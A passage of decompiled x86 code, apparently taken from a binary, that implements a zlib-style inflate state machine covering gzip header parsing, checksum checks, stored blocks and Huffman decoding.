																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebp =  &(__ebp[1]);
																	__ebx = __ebx + __eax;
																	 *(__esp + 0x10) = __edx;
																	if(__esi < 0x10) {
																		continue;
																	} else {
																		goto L54;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 5:
														L62:
														if(( *(__edi + 0x10) & 0x00000400) == 0) {
															L75:
															 *(__edi + 0x40) = 0;
															 *__edi = 6;
															goto L76;
														} else {
															L63:
															__eax =  *(__edi + 0x40);
															 *(__esp + 0x14) = __eax;
															if(__eax > __edx) {
																__eax = __edx;
																 *(__esp + 0x14) = __edx;
															}
															if(__eax != 0) {
																__ecx =  *(__edi + 0x20);
																if(__ecx != 0) {
																	__ecx =  *(__ecx + 0x10);
																	 *(__esp + 0x34) = __ecx;
																	if(__ecx != 0) {
																		 *(__edi + 0x20) =  *( *(__edi + 0x20) + 0x14);
																		__ecx =  *( *(__edi + 0x20) + 0x14) -  *(__edi + 0x40);
																		__edx =  *(__edi + 0x20);
																		__edx =  *( *(__edi + 0x20) + 0x18);
																		 *(__esp + 0x20) = __ecx;
																		if(__ecx > __edx) {
																			__eax = __edx;
																		}
																		__edx =  *(__esp + 0x34);
																		__eax =  *(__esp + 0x24);
																		__edx =  *(__esp + 0x34) +  *(__esp + 0x24);
																		__eax = E0040B350(__ebx, __edi, __esi,  *(__esp + 0x34) +  *(__esp + 0x24), __ebp,  *(__esp + 0x24));
																		__eax =  *(__esp + 0x20);
																		__edx =  *(__esp + 0x1c);
																	}
																}
																if(( *(__edi + 0x10) & 0x00000200) != 0) {
																	__ecx =  *(__esp + 0x14);
																	__edx =  *(__edi + 0x18);
																	__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
																	__edx =  *(__esp + 0x1c);
																	 *(__edi + 0x18) = __eax;
																	__eax =  *(__esp + 0x20);
																}
																__edx = __edx - __eax;
																__ebp =  &(__ebp[__eax]);
																 *(__edi + 0x40) =  *(__edi + 0x40) - __eax;
																 *(__esp + 0x10) = __edx;
															}
															if( *(__edi + 0x40) != 0) {
																goto L303;
															} else {
																goto L75;
															}
														}
														goto L321;
													case 6:
														L76:
														if(( *(__edi + 0x10) & 0x00000800) == 0) {
															L89:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																 *(__eax + 0x1c) = 0;
															}
															goto L91;
														} else {
															L77:
															if(__edx == 0) {
																goto L303;
															} else {
																L78:
																__eax = 0;
																while(1) {
																	L79:
																	__ecx = __ebp[__eax] & 0x000000ff;
																	 *(__esp + 0x14) = __eax;
																	__eax =  *(__edi + 0x20);
																	 *(__esp + 0x20) = __ecx;
																	if(__eax != 0) {
																		__ecx =  *(__eax + 0x1c);
																		 *(__esp + 0x34) = __ecx;
																		if(__ecx != 0) {
																			__ecx =  *(__edi + 0x40);
																			if(__ecx <  *((intOrPtr*)(__eax + 0x20))) {
																				__edx =  *(__esp + 0x34);
																				 *((char*)( *(__esp + 0x34) + __ecx)) =  *(__esp + 0x20);
																				 *(__edi + 0x40) =  *(__edi + 0x40) + 1;
																				__edx =  *(__esp + 0x10);
																			}
																		}
																	}
																	if( *(__esp + 0x20) == 0) {
																		break;
																	}
																	L84:
																	__eax =  *(__esp + 0x14);
																	if(__eax < __edx) {
																		continue;
																	}
																	break;
																}
																L85:
																if(( *(__edi + 0x10) & 0x00000200) != 0) {
																	__ecx =  *(__esp + 0x14);
																	__edx =  *(__edi + 0x18);
																	__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
																	__edx =  *(__esp + 0x1c);
																	 *(__edi + 0x18) = __eax;
																}
																__eax =  *(__esp + 0x14);
																__edx = __edx - __eax;
																__ebp =  &(__ebp[__eax]);
																 *(__esp + 0x10) = __edx;
																if( *(__esp + 0x20) != 0) {
																	goto L303;
																} else {
																	L88:
																	L91:
																	 *(__edi + 0x40) = 0;
																	 *__edi = 7;
																	goto L92;
																}
															}
														}
														goto L321;
													case 7:
														L92:
														if(( *(__edi + 0x10) & 0x00001000) == 0) {
															L105:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																 *(__eax + 0x24) = 0;
															}
															goto L107;
														} else {
															L93:
															if(__edx == 0) {
																goto L303;
															} else {
																L94:
																__eax = 0;
																while(1) {
																	L95:
																	__ecx = __ebp[__eax] & 0x000000ff;
																	 *(__esp + 0x14) = __eax;
																	__eax =  *(__edi + 0x20);
																	 *(__esp + 0x20) = __ecx;
																	if(__eax != 0) {
																		__ecx =  *(__eax + 0x24);
																		 *(__esp + 0x34) = __ecx;
																		if(__ecx != 0) {
																			__ecx =  *(__edi + 0x40);
																			if(__ecx <  *((intOrPtr*)(__eax + 0x28))) {
																				__edx =  *(__esp + 0x34);
																				 *((char*)( *(__esp + 0x34) + __ecx)) =  *(__esp + 0x20);
																				 *(__edi + 0x40) =  *(__edi + 0x40) + 1;
																				__edx =  *(__esp + 0x10);
																			}
																		}
																	}
																	if( *(__esp + 0x20) == 0) {
																		break;
																	}
																	L100:
																	__eax =  *(__esp + 0x14);
																	if(__eax < __edx) {
																		continue;
																	}
																	break;
																}
																L101:
																if(( *(__edi + 0x10) & 0x00000200) != 0) {
																	__ecx =  *(__esp + 0x14);
																	__edx =  *(__edi + 0x18);
																	__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
																	__edx =  *(__esp + 0x1c);
																	 *(__edi + 0x18) = __eax;
																}
																__eax =  *(__esp + 0x14);
																__edx = __edx - __eax;
																__ebp =  &(__ebp[__eax]);
																 *(__esp + 0x10) = __edx;
																if( *(__esp + 0x20) != 0) {
																	goto L303;
																} else {
																	L104:
																	L107:
																	 *__edi = 8;
																	goto L108;
																}
															}
														}
														goto L321;
													case 8:
														L108:
														if(( *(__edi + 0x10) & 0x00000200) == 0) {
															L115:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																 *(__edi + 0x10) =  *(__edi + 0x10) >> 9;
																__ecx =  *(__edi + 0x10) >> 0x00000009 & 0x00000001;
																 *(__eax + 0x2c) =  *(__edi + 0x10) >> 0x00000009 & 0x00000001;
																__edx =  *(__edi + 0x20);
																 *( *(__edi + 0x20) + 0x30) = 1;
															}
															__eax = E00403080(0, 0, 0);
															__ecx =  *(__esp + 0x4c);
															__edx =  *(__esp + 0x1c);
															 *(__edi + 0x18) = __eax;
															 *( *(__esp + 0x4c) + 0x30) = __eax;
															 *__edi = 0xb;
															goto L295;
														} else {
															L109:
															if(__esi >= 0x10) {
																L112:
																__ecx =  *(__edi + 0x18) & 0x0000ffff;
																if(__ebx == ( *(__edi + 0x18) & 0x0000ffff)) {
																	L114:
																	__ebx = 0;
																	__esi = 0;
																	goto L115;
																} else {
																	L113:
																	__eax =  *(__esp + 0x40);
																	 *(__eax + 0x18) = 0x41d338;
																	goto L294;
																}
																goto L295;
															} else {
																L110:
																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebp =  &(__ebp[1]);
																	__ebx = __ebx + __eax;
																	 *(__esp + 0x10) = __edx;
																	if(__esi < 0x10) {
																		continue;
																	} else {
																		goto L112;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 9:
														L118:
														if(__esi >= 0x20) {
															L122:
															__ebx = __ebx & 0x0000ff00;
															__ebx = __ebx << 0x10;
															__ecx = (__ebx & 0x0000ff00) + (__ebx << 0x10);
															__ebx = __ebx >> 8;
															__ecx = (__ebx & 0x0000ff00) + (__ebx << 0x10) << 8;
															__eax = __ebx >> 0x00000008 & 0x0000ff00;
															__ecx = ((__ebx & 0x0000ff00) + (__ebx << 0x10) << 8) + (__ebx >> 0x00000008 & 0x0000ff00);
															__eax = __ecx + __ebx;
															__ecx =  *(__esp + 0x40);
															 *(__edi + 0x18) = __eax;
															 *( *(__esp + 0x40) + 0x30) = __eax;
															__ebx = 0;
															__esi = 0;
															 *__edi = 0xa;
															goto L123;
														} else {
															L119:
															L120:
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																 *(__esp + 0x10) = __edx;
																if(__esi < 0x20) {
																	continue;
																} else {
																	goto L122;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 0xa:
														L123:
														if( *((intOrPtr*)(__edi + 0xc)) == 0) {
															L298:
															__eax =  *(__esp + 0x40);
															__ecx =  *(__esp + 0x24);
															 *(__eax + 0xc) =  *(__esp + 0x24);
															__ecx =  *(__esp + 0x18);
															 *__eax = __ebp;
															 *(__eax + 0x10) =  *(__esp + 0x18);
															 *(__eax + 4) = __edx;
															 *(__edi + 0x3c) = __esi;
															_pop(__esi);
															_pop(__ebp);
															 *(__edi + 0x38) = __ebx;
															_pop(__ebx);
															__eax = 2;
															_pop(__edi);
															__esp = __esp + 0x2c;
															return 2;
														} else {
															L124:
															_push(0);
															_push(0);
															_push(0);
															__eax = E004024A0();
															__edx =  *(__esp + 0x4c);
															 *(__edi + 0x18) = __eax;
															 *( *(__esp + 0x4c) + 0x30) = __eax;
															__edx =  *(__esp + 0x1c);
															__esp = __esp + 0xc;
															 *__edi = 0xb;
															goto L125;
														}
														goto L321;
													case 0xb:
														L125:
														if( *((intOrPtr*)(__esp + 0x44)) == 5) {
															goto L303;
														} else {
															goto L126;
														}
														goto L321;
													case 0xc:
														L126:
														if( *(__edi + 4) == 0) {
															L128:
															if(__esi >= 3) {
																L132:
																__ecx = __ebx;
																__ebx = __ebx >> 1;
																__eax = __ebx;
																__ecx = __ecx & 0x00000001;
																__eax = __ebx & 0x00000003;
																__esi = __esi - 1;
																 *(__edi + 4) = __ecx;
																if(__eax > 3) {
																	L138:
																	__ebx = __ebx >> 2;
																	__esi = __esi - 2;
																} else {
																	L133:
																	switch( *((intOrPtr*)(__eax * 4 +  &M00408838))) {
																		case 0:
																			L134:
																			__ebx = __ebx >> 2;
																			 *__edi = 0xd;
																			__esi = __esi - 2;
																			goto L295;
																		case 1:
																			L135:
																			__eax = __edi;
																			__eax = E00407290(__edi);
																			__ebx = __ebx >> 2;
																			 *__edi = 0x12;
																			__esi = __esi - 2;
																			goto L295;
																		case 2:
																			L136:
																			__ebx = __ebx >> 2;
																			 *__edi = 0xf;
																			__esi = __esi - 2;
																			goto L295;
																		case 3:
																			L137:
																			__eax =  *(__esp + 0x40);
																			 *(__eax + 0x18) = 0x41d338;
																			 *__edi = 0x1b;
																			goto L138;
																	}
																}
																goto L295;
															} else {
																L129:
																L130:
																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebp =  &(__ebp[1]);
																	__ebx = __ebx + __eax;
																	 *(__esp + 0x10) = __edx;
																	if(__esi < 3) {
																		continue;
																	} else {
																		goto L132;
																	}
																	goto L321;
																}
																goto L303;
															}
														} else {
															L127:
															__esi = __esi & 0x00000007;
															__ebx = __ebx >> __cl;
															__esi = __esi - (__esi & 0x00000007);
															 *__edi = 0x18;
															goto L295;
														}
														goto L321;
													case 0xd:
														L139:
														__esi = __esi & 0x00000007;
														__esi = __esi - (__esi & 0x00000007);
														__ebx = __ebx >> __cl;
														if(__esi >= 0x20) {
															L142:
															__ecx = __ebx;
															__eax = __ebx;
															__ecx =  !__ebx;
															__eax = __ebx & 0x0000ffff;
															__ecx =  !__ebx >> 0x10;
															if(__eax ==  !__ebx >> 0x10) {
																L144:
																__ebx = 0;
																 *(__edi + 0x40) = __eax;
																__esi = 0;
																 *__edi = 0xe;
																goto L145;
															} else {
																L143:
																__eax =  *(__esp + 0x40);
																 *(__eax + 0x18) = 0x41d338;
																goto L294;
															}
														} else {
															L140:
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																 *(__esp + 0x10) = __edx;
																if(__esi < 0x20) {
																	continue;
																} else {
																	goto L142;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 0xe:
														L145:
														__eax =  *(__edi + 0x40);
														 *(__esp + 0x14) = __eax;
														if(__eax == 0) {
															goto L224;
														} else {
															L146:
															if(__eax > __edx) {
																__eax = __edx;
																 *(__esp + 0x14) = __edx;
															}
															__ecx =  *(__esp + 0x18);
															if(__eax > __ecx) {
																__eax = __ecx;
																 *(__esp + 0x14) = __eax;
															}
															if(__eax == 0) {
																goto L303;
															} else {
																L151:
																__ecx =  *(__esp + 0x14);
																__edx =  *(__esp + 0x24);
																__eax = E0040B350(__ebx, __edi, __esi,  *(__esp + 0x24), __ebp,  *(__esp + 0x14));
																__eax =  *(__esp + 0x20);
																 *(__esp + 0x1c) =  *(__esp + 0x1c) - __eax;
																 *(__esp + 0x24) =  *(__esp + 0x24) - __eax;
																 *(__esp + 0x30) =  *(__esp + 0x30) + __eax;
																__edx =  *(__esp + 0x1c);
																__ebp =  &(__ebp[__eax]);
																 *(__edi + 0x40) =  *(__edi + 0x40) - __eax;
																goto L295;
															}
														}
														goto L321;
													case 0xf:
														goto L0;
													case 0x10:
														goto L157;
													case 0x11:
														goto L168;
													case 0x12:
														L207:
														if(_t998 < 6 ||  *(_t1036 + 0x18) < 0x102) {
															L210:
															_t671 =  *(_t1018[0x13] + ((0x00000001 << _t1018[0x15]) - 0x00000001 & _t814) * 4);
															 *(_t1036 + 0x14) = _t671;
															if((_t671 >> 0x00000008 & 0x000000ff) <= _t1023) {
																L214:
																if(_t671 == 0 || (_t671 & 0x000000f0) != 0) {
																	L221:
																	_t864 = _t671 >> 0x00000008 & 0x000000ff;
																	_t814 = _t814 >> _t864;
																	_t1023 = _t1023 - _t864;
																	 *(_t1036 + 0x20) = _t864;
																	_t1018[0x10] = _t671 >> 0x10;
																	if(_t671 != 0) {
																		L223:
																		if((_t671 & 0x00000020) == 0) {
																			L225:
																			if((_t671 & 0x00000040) == 0) {
																				L227:
																				_t1018[0x12] = _t671 & 0xf;
																				 *_t1018 = 0x13;
																				goto L228;
																			} else {
																				L226:
																				( *(_t1036 + 0x40))[6] = 0x41d338;
																				goto L294;
																			}
																		} else {
																			L224:
																			 *_t1018 = 0xb;
																			goto L295;
																		}
																	} else {
																		L222:
																		 *_t1018 = 0x17;
																		goto L295;
																	}
																} else {
																	L216:
																	_t928 = _t671 >> 8;
																	 *(_t1036 + 0x34) = _t928;
																	 *(_t1036 + 0x20) = _t928 & 0x000000ff;
																	 *(_t1036 + 0x2c) = _t671;
																	_t738 =  *(_t1018[0x13] + ((((0x00000001 << (_t671 & 0x000000ff) +  *(_t1036 + 0x20)) - 0x00000001 & _t814) >>  *(_t1036 + 0x20)) + ( *(_t1036 + 0x14) >> 0x10)) * 4);
																	 *(_t1036 + 0x14) = _t738;
																	if((_t738 >> 0x00000008 & 0x000000ff) + ( *(_t1036 + 0x34) & 0x000000ff) <= _t1023) {
																		L220:
																		_t937 =  *(_t1036 + 0x2d) & 0x000000ff;
																		_t671 =  *(_t1036 + 0x14);
																		_t814 = _t814 >> _t937;
																		_t1023 = _t1023 - _t937;
																		goto L221;
																	} else {
																		L217:
																		L218:
																		while(_t998 != 0) {
																			_t743 = ( *_t1029 & 0x000000ff) << _t1023;
																			_t939 =  *(_t1036 + 0x2c);
																			_t998 = _t998 - 1;
																			_t1023 = _t1023 + 8;
																			_t814 = _t814 + _t743;
																			_t744 = _t939 & 0x000000ff;
																			 *(_t1036 + 0x20) = _t744;
																			_t1029 =  &(_t1029[1]);
																			 *(_t1036 + 0x10) = _t998;
																			 *(_t1036 + 0x14) = 1;
																			if(( *(_t1018[0x13] + ((((0x00000001 << (_t939 & 0x000000ff) + _t744) - 0x00000001 & _t814) >>  *(_t1036 + 0x20)) + ( *(_t1036 + 0x2e) & 0x0000ffff)) * 4) >> 0x00000008 & 0x000000ff) +  *(_t1036 + 0x20) > _t1023) {
																				continue;
																			} else {
																				goto L220;
																			}
																			goto L321;
																		}
																		goto L303;
																	}
																}
															} else {
																L211:
																L212:
																while(_t998 != 0) {
																	_t756 = ( *_t1029 & 0x000000ff) << _t1023;
																	_t998 = _t998 - 1;
																	_t1023 = _t1023 + 8;
																	_t814 = _t814 + _t756;
																	_t1029 =  &(_t1029[1]);
																	 *(_t1036 + 0x10) = _t998;
																	_t671 =  *(_t1018[0x13] + ((0x00000001 << _t1018[0x15]) - 0x00000001 & _t814) * 4);
																	 *(_t1036 + 0x14) = 1;
																	if(0xad > _t1023) {
																		continue;
																	} else {
																		goto L214;
																	}
																	goto L321;
																}
																goto L303;
															}
														} else {
															L209:
															_t761 =  *(_t1036 + 0x40);
															_t761[4] =  *(_t1036 + 0x18);
															_t761[3] =  *(_t1036 + 0x24);
															_push( *(_t1036 + 0x28));
															 *_t761 = _t1029;
															_t761[1] =  *(_t1036 + 0x10);
															_push(_t761);
															_t1018[0xe] = _t814;
															_t1018[0xf] = _t1023;
															E00406CA0();
															_t763 =  *(_t1036 + 0x48);
															_t1029 =  *_t763;
															_t764 = _t763[1];
															_t814 = _t1018[0xe];
															_t1023 = _t1018[0xf];
															 *(_t1036 + 0x20) = _t763[4];
															_t1036 = _t1036 + 8;
															 *(_t1036 + 0x24) = _t763[3];
															 *(_t1036 + 0x10) = _t764;
															_t998 = _t764;
															goto L295;
														}
														goto L321;
													case 0x13:
														L228:
														_t672 = _t1018[0x12];
														if(_t672 == 0) {
															L234:
															 *_t1018 = 0x14;
															goto L235;
														} else {
															L229:
															if(_t1023 >= _t672) {
																L233:
																_t925 = _t1018[0x12];
																_t1018[0x10] = _t1018[0x10] + ((0x00000001 << _t925) - 0x00000001 & _t814);
																_t814 = _t814 >> _t925;
																_t1023 = _t1023 - _t925;
																goto L234;
															} else {
																L230:
																L231:
																while(_t998 != 0) {
																	_t729 = ( *_t1029 & 0x000000ff) << _t1023;
																	_t998 = _t998 - 1;
																	_t1023 = _t1023 + 8;
																	_t1029 =  &(_t1029[1]);
																	_t814 = _t814 + _t729;
																	 *(_t1036 + 0x10) = _t998;
																	if(_t1023 < _t1018[0x12]) {
																		continue;
																	} else {
																		goto L233;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 0x14:
														L235:
														_t678 =  *((intOrPtr*)(_t1018[0x14] + ((0x00000001 << _t1018[0x16]) - 0x00000001 & _t814) * 4));
														 *(_t1036 + 0x14) = _t678;
														if((_t678 >> 0x00000008 & 0x000000ff) <= _t1023) {
															L239:
															if((_t678 & 0x000000f0) != 0) {
																L244:
																_t876 = _t678 >> 0x00000008 & 0x000000ff;
																_t814 = _t814 >> _t876;
																_t1023 = _t1023 - _t876;
																 *(_t1036 + 0x20) = _t876;
																if((_t678 & 0x00000040) == 0) {
																	L246:
																	_t1018[0x11] = _t678 >> 0x10;
																	_t1018[0x12] = _t678 & 0xf;
																	 *_t1018 = 0x15;
																	goto L247;
																} else {
																	L245:
																	( *(_t1036 + 0x40))[6] = 0x41d338;
																	goto L294;
																}
															} else {
																L240:
																_t902 = _t678 >> 8;
																 *(_t1036 + 0x34) = _t902;
																 *(_t1036 + 0x20) = _t902 & 0x000000ff;
																 *(_t1036 + 0x2c) = _t678;
																_t701 =  *(_t1018[0x14] + ((((0x00000001 << (_t678 & 0x000000ff) +  *(_t1036 + 0x20)) - 0x00000001 & _t814) >>  *(_t1036 + 0x20)) + ( *(_t1036 + 0x14) >> 0x10)) * 4);
																 *(_t1036 + 0x14) = _t701;
																if((_t701 >> 0x00000008 & 0x000000ff) + ( *(_t1036 + 0x34) & 0x000000ff) <= _t1023) {
																	L243:
																	_t911 =  *(_t1036 + 0x2d) & 0x000000ff;
																	_t678 =  *(_t1036 + 0x14);
																	_t814 = _t814 >> _t911;
																	_t1023 = _t1023 - _t911;
																	goto L244;
																} else {
																	L241:
																	while(_t998 != 0) {
																		_t706 = ( *_t1029 & 0x000000ff) << _t1023;
																		_t913 =  *(_t1036 + 0x2c);
																		_t998 = _t998 - 1;
																		_t1023 = _t1023 + 8;
																		_t814 = _t814 + _t706;
																		_t707 = _t913 & 0x000000ff;
																		 *(_t1036 + 0x20) = _t707;
																		_t1029 =  &(_t1029[1]);
																		 *(_t1036 + 0x10) = _t998;
																		 *(_t1036 + 0x14) = 1;
																		if(( *(_t1018[0x14] + ((((0x00000001 << (_t913 & 0x000000ff) + _t707) - 0x00000001 & _t814) >>  *(_t1036 + 0x20)) + ( *(_t1036 + 0x2e) & 0x0000ffff)) * 4) >> 0x00000008 & 0x000000ff) +  *(_t1036 + 0x20) > _t1023) {
																			continue;
																		} else {
																			goto L243;
																		}
																		goto L321;
																	}
																	goto L303;
																}
															}
														} else {
															L236:
															L237:
															while(_t998 != 0) {
																_t719 = ( *_t1029 & 0x000000ff) << _t1023;
																_t998 = _t998 - 1;
																_t1023 = _t1023 + 8;
																_t814 = _t814 + _t719;
																_t1029 =  &(_t1029[1]);
																 *(_t1036 + 0x10) = _t998;
																_t678 =  *(_t1018[0x14] + ((0x00000001 << _t1018[0x16]) - 0x00000001 & _t814) * 4);
																 *(_t1036 + 0x14) = 1;
																if(0xad > _t1023) {
																	continue;
																} else {
																	goto L239;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 0x15:
														L247:
														_t681 = _t1018[0x12];
														if(_t681 == 0) {
															L252:
															if(_t1018[0x11] <= _t1018[0xb] -  *(_t1036 + 0x18) +  *(_t1036 + 0x28)) {
																L254:
																 *_t1018 = 0x16;
																goto L255;
															} else {
																L253:
																( *(_t1036 + 0x40))[6] = 0x41d338;
																goto L294;
															}
														} else {
															L248:
															if(_t1023 >= _t681) {
																L251:
																_t899 = _t1018[0x12];
																_t1018[0x11] = _t1018[0x11] + ((0x00000001 << _t899) - 0x00000001 & _t814);
																_t814 = _t814 >> _t899;
																_t1023 = _t1023 - _t899;
																goto L252;
															} else {
																L249:
																while(_t998 != 0) {
																	_t692 = ( *_t1029 & 0x000000ff) << _t1023;
																	_t998 = _t998 - 1;
																	_t1023 = _t1023 + 8;
																	_t1029 =  &(_t1029[1]);
																	_t814 = _t814 + _t692;
																	 *(_t1036 + 0x10) = _t998;
																	if(_t1023 < _t1018[0x12]) {
																		continue;
																	} else {
																		goto L251;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 0x16:
														L255:
														if( *(_t1036 + 0x18) == 0) {
															goto L303;
														} else {
															L256:
															_t883 =  *(_t1036 + 0x28) -  *(_t1036 + 0x18);
															_t682 = _t1018[0x11];
															if(_t682 <= _t883) {
																L262:
																_t683 = _t1018[0x10];
																 *(_t1036 + 0x2c) =  *(_t1036 + 0x24) - _t682;
																 *(_t1036 + 0x34) = _t683;
																goto L263;
															} else {
																L257:
																_t685 = _t682 - _t883;
																_t892 = _t1018[0xc];
																 *(_t1036 + 0x14) = _t685;
																if(_t685 <= _t892) {
																	_t895 = _t1018[0xd] - _t685 + _t1018[0xc];
																	_t683 =  *(_t1036 + 0x14);
																} else {
																	_t683 = _t685 - _t892;
																	 *(_t1036 + 0x14) = _t683;
																	_t895 = _t1018[0xd] + _t1018[0xa] - _t683;
																}
																 *(_t1036 + 0x2c) = _t895;
																_t896 = _t1018[0x10];
																 *(_t1036 + 0x34) = _t896;
																if(_t683 > _t896) {
																	L261:
																	_t683 = _t896;
																	L263:
																	 *(_t1036 + 0x14) = _t683;
																}
															}
															L264:
															_t886 =  *(_t1036 + 0x18);
															if(_t683 > _t886) {
																_t683 = _t886;
																 *(_t1036 + 0x14) = _t683;
															}
															 *(_t1036 + 0x18) = _t886 - _t683;
															_t684 =  *(_t1036 + 0x24);
															_t1018[0x10] =  *(_t1036 + 0x34) - _t683;
															do {
																L267:
																 *(_t1036 + 0x2c) =  *(_t1036 + 0x2c) + 1;
																 *_t684 =  *( *(_t1036 + 0x2c));
																_t684 =  &(_t684[1]);
																_t534 = _t1036 + 0x14;
																 *_t534 =  *(_t1036 + 0x14) - 1;
															} while ( *_t534 != 0);
															 *(_t1036 + 0x24) = _t684;
															if(_t1018[0x10] == 0) {
																 *_t1018 = 0x12;
															}
															goto L295;
														}
														goto L321;
													case 0x17:
														L270:
														if( *(__esp + 0x18) == 0) {
															goto L303;
														} else {
															L271:
															__eax =  *(__esp + 0x24);
															__cl =  *(__edi + 0x40);
															 *__eax = __cl;
															__eax = __eax + 1;
															 *(__esp + 0x18) =  *(__esp + 0x18) - 1;
															 *(__esp + 0x24) = __eax;
															 *__edi = 0x12;
															goto L295;
														}
														goto L321;
													case 0x18:
														L272:
														if( *((intOrPtr*)(__edi + 8)) == 0) {
															L286:
															 *__edi = 0x19;
															goto L287;
														} else {
															L273:
															if(__esi >= 0x20) {
																L276:
																__eax =  *(__esp + 0x28);
																__eax =  *(__esp + 0x28) -  *(__esp + 0x18);
																__ecx =  *(__esp + 0x40);
																 *((intOrPtr*)( *(__esp + 0x40) + 0x14)) =  *((intOrPtr*)( *(__esp + 0x40) + 0x14)) + __eax;
																 *((intOrPtr*)(__edi + 0x1c)) =  *((intOrPtr*)(__edi + 0x1c)) + __eax;
																 *(__esp + 0x28) = __eax;
																if(__eax != 0) {
																	__ecx =  *(__esp + 0x24);
																	__edx =  *(__edi + 0x18);
																	_push(__eax);
																	_push(__ecx);
																	_push( *(__edi + 0x18));
																	if( *(__edi + 0x10) == 0) {
																		__eax = E004024A0();
																	} else {
																		__eax = E00403080();
																	}
																	__ecx =  *(__esp + 0x4c);
																	__edx =  *(__esp + 0x1c);
																	 *(__edi + 0x18) = __eax;
																	__esp = __esp + 0xc;
																	 *(__ecx + 0x30) = __eax;
																}
																__eax =  *(__esp + 0x18);
																 *(__esp + 0x28) =  *(__esp + 0x18);
																__eax = __ebx;
																if( *(__edi + 0x10) == 0) {
																	__eax = __eax & 0x0000ff00;
																	__ebx = __ebx << 0x10;
																	__eax = __eax + (__ebx << 0x10);
																	__ebx = __ebx >> 8;
																	__ecx = __ebx >> 0x00000008 & 0x0000ff00;
																	__eax = __eax << 8;
																	__eax = __eax + (__ebx >> 0x00000008 & 0x0000ff00);
																	__ebx = __ebx >> 0x18;
																	__eax = __eax + (__ebx >> 0x18);
																}
																if(__eax ==  *(__edi + 0x18)) {
																	L285:
																	__ebx = 0;
																	__esi = 0;
																	goto L286;
																} else {
																	L284:
																	__eax =  *(__esp + 0x40);
																	 *(__eax + 0x18) = 0x41d338;
																	goto L294;
																}
															} else {
																L274:
																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebp =  &(__ebp[1]);
																	__ebx = __ebx + __eax;
																	 *(__esp + 0x10) = __edx;
																	if(__esi < 0x20) {
																		continue;
																	} else {
																		goto L276;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 0x19:
														L287:
														if( *((intOrPtr*)(__edi + 8)) == 0 ||  *(__edi + 0x10) == 0) {
															L300:
															 *__edi = 0x1a;
															goto L301;
														} else {
															L289:
															if(__esi >= 0x20) {
																L292:
																if(__ebx ==  *((intOrPtr*)(__edi + 0x1c))) {
																	L299:
																	__ebx = 0;
																	__esi = 0;
																	goto L300;
																} else {
																	goto L293;
																}
															} else {
																L290:
																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebp =  &(__ebp[1]);
																	__ebx = __ebx + __eax;
																	 *(__esp + 0x10) = __edx;
																	if(__esi < 0x20) {
																		continue;
																	} else {
																		goto L292;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 0x1a:
														L301:
														 *(__esp + 0x30) = 1;
														goto L303;
													case 0x1b:
														L302:
														 *(__esp + 0x30) = 0xfffffffd;
														goto L303;
													case 0x1c:
														goto L308;
												}
											}
											L296:
											_t645 = 0xfffffffe;
											goto L297;
										}
									}
								} else {
									do {
										L169:
										_t771 =  *(_t1018[0x13] + ((0x00000001 << _t1018[0x15]) - 0x00000001 & _t814) * 4);
										 *(_t1036 + 0x14) = 1;
										if(0xad <= _t1023) {
											L172:
											if(_t771 >> 0x10 >= 0x10) {
												L178:
												_t961 =  *((intOrPtr*)(_t1036 + 0x16));
												if(_t961 != 0x10) {
													L185:
													_t962 = _t771 & 0x000000ff;
													 *(_t1036 + 0x2c) = _t962;
													if(_t961 != 0x11) {
														L191:
														if(_t1023 >= _t962 + 7) {
															L194:
															_t828 = _t814 >> _t962;
															 *(_t1036 + 0x14) = (_t828 & 0x0000007f) + 0xb;
															_t814 = _t828 >> 7;
															_t776 = 0xfffffff9;
															goto L195;
														} else {
															L192:
															while(_t998 != 0) {
																_t785 = ( *_t1029 & 0x000000ff) << _t1023;
																_t962 =  *(_t1036 + 0x2c);
																_t998 = _t998 - 1;
																_t1023 = _t1023 + 8;
																_t814 = _t814 + _t785;
																_t1029 =  &(_t1029[1]);
																 *(_t1036 + 0x10) = _t998;
																if(_t1023 < _t962 + 7) {
																	continue;
																} else {
																	goto L194;
																}
																goto L321;
															}
															goto L303;
														}
													} else {
														L186:
														if(_t1023 >= _t962 + 3) {
															L190:
